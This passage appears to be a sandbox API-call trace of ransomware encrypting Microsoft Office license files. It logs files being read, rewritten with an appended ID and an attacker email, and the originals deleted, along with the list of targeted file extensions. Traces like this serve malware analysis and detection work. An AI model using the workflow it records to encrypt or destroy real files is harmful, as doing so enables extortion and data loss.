lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0195.203] SetEndOfFile (hFile=0x520) returned 1 [0195.203] CloseHandle (hObject=0x520) returned 1 [0195.203] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.203] SetEndOfFile (hFile=0x544) returned 1 [0195.206] CloseHandle (hObject=0x544) returned 1 [0195.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0195.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.208] lstrlenW (lpString=".doc") returned 4 [0195.208] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".docx") returned 5 [0195.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.208] lstrlenW (lpString=".pdf") returned 4 [0195.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".xls") returned 4 [0195.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".xlsx") returned 5 [0195.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.208] lstrlenW (lpString=".ppt") returned 4 [0195.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.208] lstrlenW (lpString=".zip") returned 4 [0195.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".rar") returned 4 [0195.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".bz2") returned 4 [0195.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString=".7z") returned 3 [0195.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.208] lstrlenW (lpString=".dbf") returned 4 [0195.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.208] lstrlenW (lpString=".1cd") returned 4 [0195.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.209] lstrlenW (lpString=".jpg") returned 4 [0195.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.363] lstrlenW (lpString=".doc") returned 4 [0195.363] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".docx") returned 5 [0195.363] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.363] lstrlenW (lpString=".pdf") returned 4 [0195.363] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".xls") returned 4 [0195.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".xlsx") returned 5 [0195.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.363] lstrlenW (lpString=".ppt") returned 4 [0195.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.363] lstrlenW (lpString=".zip") returned 4 [0195.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".rar") returned 4 [0195.363] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".bz2") returned 4 [0195.363] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.363] lstrlenW (lpString=".7z") returned 3 [0195.363] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.363] lstrlenW (lpString=".dbf") returned 4 [0195.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.364] lstrlenW (lpString=".1cd") returned 4 [0195.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0195.364] lstrlenW (lpString=".jpg") returned 4 [0195.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.364] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.364] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30 [0195.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.365] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22033) returned 1 [0195.365] CloseHandle (hObject=0x54c) returned 1 [0195.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0195.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.365] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.365] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.747] GetLastError () returned 0x0 [0195.747] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5611, lpOverlapped=0x0) returned 1 [0195.752] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5620, lpOverlapped=0x0) returned 1 [0195.754] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.754] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0195.754] SetEndOfFile (hFile=0x538) returned 1 [0195.754] CloseHandle (hObject=0x538) returned 1 [0195.755] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.755] SetEndOfFile (hFile=0x54c) returned 1 [0195.758] CloseHandle (hObject=0x54c) returned 1 [0195.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0195.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString=".doc") returned 4 [0195.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".docx") returned 5 [0195.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.765] lstrlenW (lpString=".pdf") returned 4 [0195.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".xls") returned 4 [0195.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".xlsx") returned 5 [0195.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.765] lstrlenW (lpString=".ppt") returned 4 [0195.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString=".zip") returned 4 [0195.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".rar") returned 4 [0195.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".bz2") returned 4 [0195.765] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString=".7z") returned 3 [0195.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString=".dbf") returned 4 [0195.765] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString=".1cd") returned 4 [0195.765] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.765] lstrlenW (lpString=".jpg") returned 4 [0195.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.766] lstrlenW (lpString=".doc") returned 4 [0195.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".docx") returned 5 [0195.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.766] lstrlenW (lpString=".pdf") returned 4 [0195.766] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".xls") returned 4 [0195.766] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".xlsx") returned 5 [0195.766] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.766] lstrlenW (lpString=".ppt") returned 4 [0195.766] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.766] lstrlenW (lpString=".zip") returned 4 [0195.766] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".rar") returned 4 [0195.766] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".bz2") returned 4 [0195.766] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString=".7z") returned 3 [0195.766] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.766] lstrlenW (lpString=".dbf") returned 4 [0195.766] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.766] lstrlenW (lpString=".1cd") returned 4 [0195.767] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0195.767] lstrlenW (lpString=".jpg") returned 4 [0195.767] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.767] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.767] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33 [0195.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.768] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22093) returned 1 [0195.768] CloseHandle (hObject=0x54c) returned 1 [0195.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0195.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.769] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.769] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.770] GetLastError () returned 0x0 [0195.770] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x564d, lpOverlapped=0x0) returned 1 [0195.772] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5650, lpOverlapped=0x0) returned 1 [0195.774] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.774] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0195.774] SetEndOfFile (hFile=0x538) returned 1 [0195.774] CloseHandle (hObject=0x538) returned 1 [0195.774] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.774] SetEndOfFile (hFile=0x54c) returned 1 [0195.778] CloseHandle (hObject=0x54c) returned 1 [0195.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0195.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.779] lstrlenW (lpString=".doc") returned 4 [0195.779] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.779] lstrlenW (lpString=".docx") returned 5 [0195.779] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.779] lstrlenW (lpString=".pdf") returned 4 [0195.779] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.779] lstrlenW (lpString=".xls") returned 4 [0195.779] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.779] lstrlenW (lpString=".xlsx") returned 5 [0195.780] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.780] lstrlenW (lpString=".ppt") returned 4 [0195.780] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString=".zip") returned 4 [0195.780] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString=".rar") returned 4 [0195.780] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString=".bz2") returned 4 [0195.780] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString=".7z") returned 3 [0195.780] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString=".dbf") returned 4 [0195.780] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString=".1cd") returned 4 [0195.780] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString=".jpg") returned 4 [0195.780] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.780] lstrlenW (lpString=".doc") returned 4 [0195.781] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".docx") returned 5 [0195.781] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.781] lstrlenW (lpString=".pdf") returned 4 [0195.781] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".xls") returned 4 [0195.781] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".xlsx") returned 5 [0195.781] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.781] lstrlenW (lpString=".ppt") returned 4 [0195.781] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.781] lstrlenW (lpString=".zip") returned 4 [0195.781] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".rar") returned 4 [0195.781] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".bz2") returned 4 [0195.781] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString=".7z") returned 3 [0195.781] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.781] lstrlenW (lpString=".dbf") returned 4 [0195.781] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.781] lstrlenW (lpString=".1cd") returned 4 [0195.781] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0195.781] lstrlenW (lpString=".jpg") returned 4 [0195.781] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.782] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.782] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0195.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.783] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11617) returned 1 [0195.783] CloseHandle (hObject=0x54c) returned 1 [0195.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0195.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.784] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.784] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.785] GetLastError () returned 0x0 [0195.785] ReadFile (in: hFile=0x54c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: 